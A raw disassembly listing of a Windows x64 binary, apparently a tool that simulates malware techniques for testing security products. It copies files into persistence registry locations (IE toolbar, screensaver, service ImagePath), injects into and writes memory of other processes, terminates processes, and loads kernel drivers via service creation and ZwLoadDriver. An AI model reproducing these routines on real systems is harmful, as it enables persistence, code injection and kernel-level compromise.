call fcn.1400019e0
mov edx, sendto
lea rcx, [rbp + 0x360]
call fcn.140010310
mov edx, 0x1388
mov rcx, rax
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test rdi, rdi
je 0x140008a8a
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, [rbp + 0x2f0]
jmp 0x140008fc7
cmp edi, 0x30060002
je 0x140008e26
cmp edi, 0x30070002
je 0x140008c7d
cmp edi, 0x30080002
jne case.default.0x14000d0ae
movaps xmm0, xmmword [str.HKLMSOFTWAREMicrosoftInternet_ExplorerToolbar_]
lea rcx, [rbp + 0x280]
movaps xmm1, xmmword [0x14004a770]
mov eax, dword [0x14004a7c0]
movaps xmmword [rbp + 0x2f0], xmm0
movaps xmm0, xmmword [0x14004a780]
movaps xmmword [rbp + 0x310], xmm0
movaps xmm0, xmmword [0x14004a7a0]
movaps xmmword [rbp + 0x330], xmm0
movups xmm0, xmmword [str.C:JY_run_inject.dll]
mov dword [rbp + 0x350], eax
movzx eax, word [0x14004a7c4]
movaps xmmword [rbp + 0x300], xmm1
movaps xmm1, xmmword [0x14004a790]
movaps xmmword [rbp + 0x320], xmm1
movaps xmm1, xmmword [0x14004a7b0]
movups xmmword [rbp + 0x2c0], xmm0
mov word [rbp + 0x354], ax
movsd xmm0, qword [0x14004a7e8]
movzx eax, word [0x14004a7f0]
movaps xmmword [rbp + 0x340], xmm1
movups xmm1, xmmword [0x14004a7d8]
mov word [rbp + 0x2e8], ax
movsd qword [rbp + 0x2e0], xmm0
movups xmm0, xmmword [str.C:JYJYToolbar.exe]
movups xmmword [rbp + 0x2d0], xmm1
movups xmm1, xmmword [0x14004a808]
movups xmmword [rbp + 0x280], xmm0
movsd xmm0, qword [0x14004a818]
movsd qword [rbp + 0x2a0], xmm0
movups xmmword [rbp + 0x290], xmm1
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
xor r8d, r8d
lea rdx, [rbp + 0x280]
lea rcx, [0x140091ac0]
call qword [sym.imp.KERNEL32.dll_CopyFileW]
lea rdx, str.toolbar
lea rcx, [rbp + 0x280]
call fcn.140001300
mov r8d, 1
lea rdx, [rbp + 0x280]
lea rcx, [rbp + 0x2f0]
call fcn.140011160
lea rcx, [rbp + 0x2c0]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
lea rcx, [rbp + 0x2c0]
call fcn.1400014d0
lea rax, [rbp + 0x2c0]
mov edx, 0x100
lea r9, [rbp + 0x280]
mov qword [rsp + 0x20], rax
lea r8, str._s__inject__s
lea rcx, [rbp + 0x360]
call fcn.1400019e0
mov edx, sendto
lea rcx, [rbp + 0x360]
call fcn.140010310
mov edx, 0x1388
mov rcx, rax
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test rdi, rdi
je 0x140008c52
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, [rbp + 0x2f0]
call fcn.140011530
lea rcx, [rbp + 0x280]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
lea rcx, [rbp + 0x2c0]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
jmp case.default.0x14000d0ae
movaps xmm0, xmmword [str.HKCUControl_panelDesktopSCRNSAVE.EXE]
lea rcx, [rbp + 0x280]
movaps xmm1, xmmword [0x14004a690]
movzx eax, word [0x14004a6f8]
movaps xmmword [rbp + 0x2f0], xmm0
movaps xmm0, xmmword [0x14004a6a0]
movaps xmmword [rbp + 0x310], xmm0
movaps xmm0, xmmword [0x14004a6c0]
movaps xmmword [rbp + 0x300], xmm1
movaps xmm1, xmmword [0x14004a6b0]
movaps xmmword [rbp + 0x330], xmm0
movups xmm0, xmmword [0x14004a6e0]
mov word [rbp + 0x2e8], ax
movzx eax, word [0x14004a728]
movaps xmmword [rbp + 0x320], xmm1
movups xmm1, xmmword [0x14004a6d0]
mov word [rbp + 0x2a8], ax
movups xmmword [rbp + 0x2d0], xmm0
movups xmm0, xmmword [str.C:JYJYSCRNSAVE.exe]
movups xmmword [rbp + 0x2c0], xmm1
movsd xmm1, qword [0x14004a6f0]
movsd qword [rbp + 0x2e0], xmm1
movups xmm1, xmmword [0x14004a710]
movups xmmword [rbp + 0x280], xmm0
movsd xmm0, qword [0x14004a720]
movsd qword [rbp + 0x2a0], xmm0
movups xmmword [rbp + 0x290], xmm1
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
xor r8d, r8d
lea rdx, [rbp + 0x280]
lea rcx, [0x140091ac0]
call qword [sym.imp.KERNEL32.dll_CopyFileW]
lea rdx, str.screensave
lea rcx, [rbp + 0x280]
call fcn.140001300
mov r8d, 1
lea rdx, [rbp + 0x280]
lea rcx, [rbp + 0x2f0]
call fcn.140011160
lea rcx, [rbp + 0x2c0]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
lea rcx, [rbp + 0x2c0]
call fcn.1400014d0
lea rax, [rbp + 0x2c0]
mov edx, 0x100
lea r9, [rbp + 0x280]
mov qword [rsp + 0x20], rax
lea r8, [0x14004a740]
lea rcx, [rbp + 0x360]
call fcn.1400019e0
mov edx, sendto
lea rcx, [rbp + 0x360]
call fcn.140010310
mov edx, 0x1388
mov rcx, rax
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test rdi, rdi
je 0x140008dfb
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, [rbp + 0x2f0]
call fcn.140011530
lea rcx, [rbp + 0x280]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
lea rcx, [rbp + 0x2c0]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
jmp case.default.0x14000d0ae
movaps xmm0, xmmword [str.HKLMSYSTEMCurrentControlSetServicesJYImagePath]
lea rcx, [rbp + 0x2c0]
movaps xmm1, xmmword [0x14004a5a0]
movzx eax, word [0x14004a620]
movaps xmmword [rbp + 0x2f0], xmm0
movaps xmm0, xmmword [0x14004a5b0]
movaps xmmword [rbp + 0x310], xmm0
movaps xmm0, xmmword [0x14004a5d0]
movaps xmmword [rbp + 0x300], xmm1
movaps xmm1, xmmword [0x14004a5c0]
movaps xmmword [rbp + 0x330], xmm0
movsd xmm0, qword [0x14004a5f0]
movaps xmmword [rbp + 0x320], xmm1
movaps xmm1, xmmword [0x14004a5e0]
movsd qword [rbp + 0x350], xmm0
movups xmm0, xmmword [0x14004a608]
mov word [rbp + 0x2a8], ax
mov eax, dword [0x14004a650]
movaps xmmword [rbp + 0x340], xmm1
movups xmm1, xmmword [0x14004a5f8]
mov dword [rbp + 0x2e8], eax
movups xmmword [rbp + 0x290], xmm0
movups xmm0, xmmword [str.C:JYJYImagePath.exe]
movups xmmword [rbp + 0x280], xmm1
movsd xmm1, qword [0x14004a618]
movsd qword [rbp + 0x2a0], xmm1
movups xmm1, xmmword [0x14004a638]
movups xmmword [rbp + 0x2c0], xmm0
movsd xmm0, qword [0x14004a648]
movsd qword [rbp + 0x2e0], xmm0
movups xmmword [rbp + 0x2d0], xmm1
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
xor r8d, r8d
lea rdx, [rbp + 0x2c0]
lea rcx, [0x140091ac0]
call qword [sym.imp.KERNEL32.dll_CopyFileW]
lea rdx, str.image
lea rcx, [rbp + 0x2c0]
call fcn.140001300
mov r8d, 1
lea rdx, [rbp + 0x2c0]
lea rcx, [rbp + 0x2f0]
call fcn.140011160
lea rcx, [rbp + 0x280]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
lea rcx, [rbp + 0x280]
call fcn.1400014d0
lea rax, [rbp + 0x280]
mov edx, 0x100
lea r9, [rbp + 0x2c0]
mov qword [rsp + 0x20], rax
lea r8, [0x14004a658]
lea rcx, [rbp + 0x360]
call fcn.1400019e0
mov edx, sendto
lea rcx, [rbp + 0x360]
call fcn.140010310
mov edx, 0x1388
mov rcx, rax
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test rdi, rdi
je 0x140008fc0
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, [rbp + 0x2f0]
call fcn.140011530
lea rcx, [rbp + 0x2c0]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
lea rcx, [rbp + 0x280]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
jmp case.default.0x14000d0ae
cmp edi, 0x30010003
je 0x1400092c1
cmp edi, 0x30020003
jne case.default.0x14000d0ae
xor eax, eax
mov qword [rbp], r14
mov dword [rbp + 0x271], eax
mov r15, r14
mov word [rbp + 0x275], ax
mov byte [rbp + 0x277], al
mov byte [rbp + 0x270], 4
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea r8, [rbp]
mov edx, 0x28
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
mov ecx, 1
call fcn.140010890
lea rcx, [0x14004a848]
call fcn.14001b9a0
mov esi, 2
mov dword [rbp + 0x20], 0x238
mov ecx, esi
xor edx, edx
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rdi, rax
cmp rax, 0xffffffffffffffff
jne 0x1400090a2
xor r8d, r8d
lea rcx, [0x14004a860]
xor edx, edx
call fcn.140011870
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, [0x14004a898]
call fcn.140001030
mov eax, 0x65b
jmp 0x14000de4f
lea rdx, [rbp + 0x20]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
cmp eax, 1
jne 0x14000910c
lea rdx, [rbp + 0x20]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_Process32NextW]
cmp eax, 1
jne 0x14000910c
nop word [rax + rax]
lea rdx, [0x14004a8b0]
lea rcx, [rbp + 0x4c]
call fcn.14001a9b0
test eax, eax
je 0x1400090f8
lea rdx, [rbp + 0x20]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_Process32NextW]
cmp eax, 1
je 0x1400090d0
jmp 0x14000910c
mov r8d, dword [rbp + 0x28]
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov r15, rax
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test r15, r15
jne 0x140009138
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.OpenProcess_Failed.___d_._n
call fcn.140001030
mov eax, 0x65b
jmp 0x14000de4f
xor edx, edx
mov dword [rsp + 0x20], 4
mov r9d, 0x1000
mov rcx, r15
lea r8d, [rdx + 8]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov rdi, rax
test rax, rax
jne 0x140009187
lea rcx, str.VirtualAllocEx_Failed._n
call fcn.140001030
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, [0x14004a970]
call fcn.140001030
mov eax, 0x65b
jmp 0x14000de4f
mov r9d, 8
mov qword [rsp + 0x20], r14
lea r8, [rbp + 0x270]
mov rdx, rdi
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x1400091d3
lea rcx, str.WriteProcessMemory_Failed._n
call fcn.140001030
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, [0x14004a9c0]
call fcn.140001030
mov eax, 0x65b
jmp 0x14000de4f
xor edx, edx
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
xor ecx, ecx
call fcn.140010890
mov rcx, qword [rbp]
test rcx, rcx
je 0x1400091f4
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov r9d, 0x8000
mov r8d, 8
mov rdx, rdi
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor edx, edx
mov dword [rbp + 0x20], 0x238
mov ecx, esi
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rsi, rax
test rax, rax
je case.default.0x14000d0ae
lea rdx, [rbp + 0x20]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
cmp eax, 1
jne 0x1400092b3
lea rdx, [rbp + 0x20]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_Process32NextW]
cmp eax, 1
jne 0x1400092b3
nop word [rax + rax]
lea rdx, [0x14004a9d8]
lea rcx, [rbp + 0x4c]
call fcn.14001a9b0
test eax, eax
jne 0x1400092a1
mov r8d, dword [rbp + 0x28]
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rdi, rax
test rax, rax
je 0x1400092a1
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rdx, [rbp + 0x20]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_Process32NextW]
cmp eax, 1
je 0x140009260
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp case.default.0x14000d0ae
xor eax, eax
mov qword [rbp], r14
mov dword [rbp + 0x271], eax
mov r15, r14
mov word [rbp + 0x275], ax
mov byte [rbp + 0x277], al
mov byte [rbp + 0x270], 0x90
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea r8, [rbp]
mov edx, 0x28
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
mov ecx, 1
call fcn.140010890
lea rcx, str.start_notepad.exe
call fcn.14001b9a0
mov esi, 2
mov dword [rbp + 0x20], 0x238
mov ecx, esi
xor edx, edx
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rdi, rax
cmp rax, 0xffffffffffffffff
jne 0x140009360
xor r8d, r8d
lea rcx, [0x14004aa48]
xor edx, edx
call fcn.140011870
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, [0x14004aa80]
call fcn.140001030
mov eax, 0x65b
jmp 0x14000de4f
lea rdx, [rbp + 0x20]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
cmp eax, 1
jne 0x1400093cc
lea rdx, [rbp + 0x20]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_Process32NextW]
cmp eax, 1
jne 0x1400093cc
nop dword [rax]
nop dword [rax + rax]
lea rdx, [0x14004aa98]
lea rcx, [rbp + 0x4c]
call fcn.14001a9b0
test eax, eax
je 0x1400093b8
lea rdx, [rbp + 0x20]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_Process32NextW]
cmp eax, 1
je 0x140009390
jmp 0x1400093cc
mov r8d, dword [rbp + 0x28]
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov r15, rax
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test r15, r15
jne 0x1400093f7
xor r8d, r8d
lea rdx, [rbp + 0x4c]
lea rcx, [0x14004aaf0]
call fcn.140011870
mov eax, 0x65b
jmp 0x14000de4f
xor edx, edx
mov dword [rsp + 0x20], 4
mov r9d, 0x1000
mov rcx, r15
lea r8d, [rdx + 8]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov rdi, rax
test rax, rax
jne 0x14000944d
xor r8d, r8d
lea rdx, [rbp + 0x4c]
lea rcx, [0x14004ab08]
call fcn.140011870
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, [0x14004ab28]
call fcn.140001030
mov eax, 0x65b
jmp 0x14000de4f
mov r9d, 8
mov qword [rsp + 0x20], r14
lea r8, [rbp + 0x270]
mov rdx, rdi
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x1400094a0
xor r8d, r8d
lea rdx, [rbp + 0x4c]
lea rcx, [0x14004ab40]
call fcn.140011870
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.error_:__d_n
call fcn.140001030
mov eax, 0x65b
jmp 0x14000de4f
xor edx, edx
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
xor ecx, ecx
call fcn.140010890
mov rcx, qword [rbp]
test rcx, rcx
je 0x1400094c1
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov r9d, 0x8000
mov r8d, 8
mov rdx, rdi
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor edx, edx
mov dword [rbp + 0x20], 0x238
mov ecx, esi
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rsi, rax
test rax, rax
je case.default.0x14000d0ae
lea rdx, [rbp + 0x20]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
cmp eax, 1
jne 0x140009583
lea rdx, [rbp + 0x20]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_Process32NextW]
cmp eax, 1
jne 0x140009583
nop dword [rax]
nop word [rax + rax]
lea rdx, [0x14004ab80]
lea rcx, [rbp + 0x4c]
call fcn.14001a9b0
test eax, eax
jne 0x140009571
mov r8d, dword [rbp + 0x28]
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rdi, rax
test rax, rax
je 0x140009571
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rdx, [rbp + 0x20]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_Process32NextW]
cmp eax, 1
je 0x140009530
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp case.default.0x14000d0ae
mov ecx, 1
call fcn.140010890
cmp edi, 0x30010004
je 0x14000998a
cmp edi, 0x30020004
je 0x1400098de
cmp edi, 0x30030004
jne 0x140009ab0
movups xmm0, xmmword [str.C:JYLoadBySvc.sys]
xor edx, edx
mov r8d, 0x1e0
movups xmm1, xmmword [0x14004afb0]
lea rcx, [rbp + 0x7a8]
movaps xmmword [rbp + 0x780], xmm0
movsd xmm0, qword [0x14004afc0]
movsd qword [rbp + 0x7a0], xmm0
movaps xmmword [rbp + 0x790], xmm1
call fcn.140013860
lea rcx, [rbp + 0x780]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
cmp dword [0x140056a60], ebx
lea rcx, [rbp + 0x780]
mov edx, 0x67
jne 0x140009625
mov edx, 0x68
call fcn.1400014f0
xor edx, edx
xor ecx, ecx
mov r8d, 0xf003f
call qword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
mov rdi, rax
test rax, rax
jne 0x14000966c
lea rcx, str.CreateServiceTest___:_OpenSCManager_failed._n
call fcn.140001030
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, [0x14004afc8]
call fcn.140001030
mov eax, 0x65b
jmp 0x14000de4f
mov qword [rsp + 0x60], r14
lea rax, [rbp + 0x780]
mov qword [rsp + 0x58], r14
lea r8, [0x14004b040]
mov qword [rsp + 0x50], r14
lea rdx, str.testdrv
mov qword [rsp + 0x48], r14
mov r9d, 0xf01ff
mov qword [rsp + 0x40], r14
mov rcx, rdi
mov qword [rsp + 0x38], rax
mov dword [rsp + 0x30], 1
mov dword [rsp + 0x28], 3
mov dword [rsp + 0x20], SafeArrayAccessData
call qword [sym.imp.ADVAPI32.dll_CreateServiceW]
mov rcx, rax
mov rsi, rax
call qword [sym.imp.ADVAPI32.dll_DeleteService]
test eax, eax
jne 0x140009700
lea rcx, [0x14004b060]
call fcn.140001030
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, [0x14004b0c0]
call fcn.140001030
mov eax, 0x65b
jmp 0x14000de4f
mov rcx, rdi
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
test rsi, rsi
je 0x140009717
mov rcx, rsi
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
lea rcx, [rbp + 0x780]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
movups xmm0, xmmword [0x14004b0d8]
movzx eax, word [0x14004b100]
xor edx, edx
movups xmm1, xmmword [0x14004b0e8]
lea rcx, [rbp + 0x38a]
mov r8d, 0x1de
movaps xmmword [rbp + 0x360], xmm0
movsd xmm0, qword [0x14004b0f8]
movsd qword [rbp + 0x380], xmm0
movaps xmmword [rbp + 0x370], xmm1
mov word [rbp + 0x388], ax
call fcn.140013860
mov eax, dword [0x14004b118]
lea rcx, [rbp + 0x585]
movups xmm0, xmmword [str.C:JYLoadBySvc2.sys]
mov dword [rbp + 0x580], eax
xor edx, edx
movzx eax, byte [0x14004b11c]
mov r8d, 0xef
movaps xmmword [rbp + 0x570], xmm0
mov byte [rbp + 0x584], al
call fcn.140013860
lea rcx, [rbp + 0x360]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
cmp dword [0x140056a60], ebx
lea rcx, [rbp + 0x360]
mov edx, 0x67
jne 0x1400097d3
mov edx, 0x68
call fcn.1400014f0
xor edx, edx
xor ecx, ecx
mov r8d, 0xf003f
call qword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
mov rsi, rax
test rax, rax
jne 0x14000981a
lea rcx, str.CreateServiceATest___:_OpenSCManager_failed._n
call fcn.140001030
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, [0x14004b180]
call fcn.140001030
mov eax, 0x65b
jmp 0x14000de4f
mov qword [rsp + 0x60], r14
lea rax, [rbp + 0x570]
mov qword [rsp + 0x58], r14
lea r8, [0x14004b198]
mov qword [rsp + 0x50], r14
lea rdx, str.testdrvA
mov qword [rsp + 0x48], r14
mov r9d, 0xf01ff
mov qword [rsp + 0x40], r14
mov rcx, rsi
mov qword [rsp + 0x38], rax
mov dword [rsp + 0x30], 1
mov dword [rsp + 0x28], 3
mov dword [rsp + 0x20], SafeArrayAccessData
call qword [sym.imp.ADVAPI32.dll_CreateServiceA]
mov rcx, rax
mov rdi, rax
call qword [sym.imp.ADVAPI32.dll_DeleteService]
test eax, eax
jne 0x1400098ae
lea rcx, str.CreateServiceTest___:_DeleteService_failed._n
call fcn.140001030
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.Errno_:__d_n
call fcn.140001030
mov eax, 0x65b
jmp 0x14000de4f
mov rcx, rsi
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
test rdi, rdi
je 0x1400098c5
mov rcx, rdi
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
lea rcx, [rbp + 0x360]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
xor ecx, ecx
call fcn.140010890
jmp case.default.0x14000d0ae
movups xmm0, xmmword [str.__C:JYNtSetSystem.sys]
mov eax, dword [reloc.WS2_32.dll_WSAStartup]
lea rcx, [rbp + 0x280]
movups xmm1, xmmword [0x14004ae18]
mov dword [rbp + 0x2b0], eax
movups xmmword [rbp + 0x280], xmm0
movups xmm0, xmmword [0x14004ae28]
movups xmmword [rbp + 0x290], xmm1
movups xmmword [rbp + 0x2a0], xmm0
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
cmp dword [0x140056a60], ebx
je 0x140009937
mov edx, 0x67
lea rcx, [0x14004af40]
jmp 0x140009943
mov edx, 0x68
lea rcx, str.C:JYNtSetSystem.sys
call fcn.1400014f0
lea rdx, [rbp + 0x280]
lea rcx, [rbp]
call qword [0x140091488]
movzx r8d, word [rbp]
lea rdx, [rbp]
add r8d, 2
mov ecx, 0x26
call qword [0x140091498]
lea rcx, [rbp + 0x280]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
xor ecx, ecx
call fcn.140010890
jmp case.default.0x14000d0ae
movups xmm0, xmmword [0x14004abd8]
mov eax, dword [0x14004ac00]
lea rcx, [rbp + 0x280]
movups xmm1, xmmword [0x14004abe8]
mov dword [rbp + 0x2a8], eax
movzx eax, word [0x14004ac04]
movups xmmword [rbp + 0x280], xmm0
mov word [rbp + 0x2ac], ax
movsd xmm0, qword [0x14004abf8]
movsd qword [rbp + 0x2a0], xmm0
movups xmmword [rbp + 0x290], xmm1
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
cmp dword [0x140056a60], ebx
lea rcx, [rbp + 0x280]
mov edx, 0x67
jne 0x1400099f6
mov edx, 0x68
call fcn.1400014f0
mov edx, 1
lea rcx, str.HKLMSystemCurrentControlSetServicesJYType
call fcn.140011130
mov edx, 1
lea rcx, str.HKLMSystemCurrentControlSetServicesJYErrorControl
call fcn.140011130
mov edx, 1
lea rcx, str.HKLMSystemCurrentControlSetServicesJYStart
call fcn.140011130
mov r8d, 1
lea rdx, str.C:JYZwLoadDriver.sys
lea rcx, str.HKLMSystemCurrentControlSetServicesJYImagePath
call fcn.140011160
lea rdx, str.RegistryMachineSystemCurrentControlSetServicesJY
lea rcx, [rbp]
call qword [0x140091488]
lea rcx, [rbp]
call qword [0x1400916a8]
mov ebx, eax
test eax, eax
je 0x140009a71
lea rcx, str.ZwLoadDriver_failed.___x___n
jmp 0x140009a88
lea rcx, [rbp]
call qword [0x1400916b8]
mov ebx, eax
test eax, eax
je 0x140009a8f
lea rcx, str.ZwUnloadDriver_failed.___x___n
mov edx, eax
call fcn.140001030
lea rdx, str.systemcurrentcontrolset_servicesjy
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegDeleteKeyW]
lea rcx, [rbp + 0x280]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
xor ecx, ecx
call fcn.140010890
jmp case.default.0x14000d0ae
cmp edi, 0x30010005
jne case.default.0x14000d0ae
xor edx, edx
lea rcx, [rbp + 0x20]
mov r8d, 0x238
call fcn.140013860
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
xor edx, edx
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rdi, rax
cmp rax, 0xffffffffffffffff
jne 0x140009b16
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.___CreateToolhelp32Snapshot_error____d___n
call fcn.140001820
mov eax, 0x65b
jmp 0x14000de4f
lea rdx, [rbp + 0x20]
mov dword [rbp + 0x20], 0x238
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
jne 0x140009b60
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.___Enumeration_process_Process32First__error____d___n
call fcn.140001820
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 0x65b
jmp 0x14000de4f
lea rdx, str.cmd.exe
lea rcx, [rbp + 0x4c]
call fcn.14001a9b0
test eax, eax
jne 0x140009b94
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea r8, str.cmd.exe
lea rdx, [rbp + 0x4c]
lea rcx, str.process_found.__s____s_n
call fcn.140001030
lea rdx, [rbp + 0x20]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x140009b60
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp case.default.0x14000d0ae
test edi, edi
jne case.default.0x14000d0ae
lea ecx, [rdi + 1]
call fcn.140010890
xor ecx, ecx
call fcn.140010890
jmp case.default.0x14000d0ae
cmp edi, 0x30010007
je 0x140009cc4
cmp edi, 0x30020007
jne case.default.0x14000d0ae
xor eax, eax
mov byte [rbp + 0x270], 4
lea rcx, [0x140091ac0]
mov dword [rbp + 0x271], eax
mov word [rbp + 0x275], ax
mov byte [rbp + 0x277], al
lea edx, [rax + 0x10]
call fcn.140010310
mov rdi, rax
test rax, rax
jne 0x140009c26
lea rcx, str.failed.........._n
call fcn.140001030
xor edx, edx
mov dword [rsp + 0x20], 4
mov r9d, 0x1000
mov rcx, rdi
lea r8d, [rdx + 8]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov rsi, rax
test rax, rax
jne 0x140009c57
lea rcx, [0x14004b3c8]
call fcn.140001030
mov r9d, 8
mov qword [rsp + 0x20], r14
lea r8, [rbp + 0x270]
mov rdx, rsi
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x140009c85
lea rcx, [0x14004b3e8]
call fcn.140001030
test rsi, rsi
je 0x140009ca2
mov r9d, 0x8000
mov r8d, 8
mov rdx, rsi
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
test rdi, rdi
je case.default.0x14000d0ae
xor edx, edx
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp case.default.0x14000d0ae
xor eax, eax
mov byte [rbp + 0x270], 0x90
lea rcx, [0x140091ac0]
mov dword [rbp + 0x271], eax
mov word [rbp + 0x275], ax
mov byte [rbp + 0x277], al
lea edx, [rax + 0x10]
call fcn.140010310
mov rdi, rax
test rax, rax
jne 0x140009d03
lea rcx, [0x14004b2e8]
call fcn.140001030
xor edx, edx
mov dword [rsp + 0x20], 4
mov r9d, 0x1000
mov rcx, rdi
lea r8d, [rdx + 8]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov rsi, rax
test rax, rax
jne 0x140009d34
lea rcx, [0x14004b368]
call fcn.140001030
mov r9d, 8
mov qword [rsp + 0x20], r14
lea r8, [rbp + 0x270]
mov rdx, rsi
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x140009d62
lea rcx, [0x14004b388]
call fcn.140001030
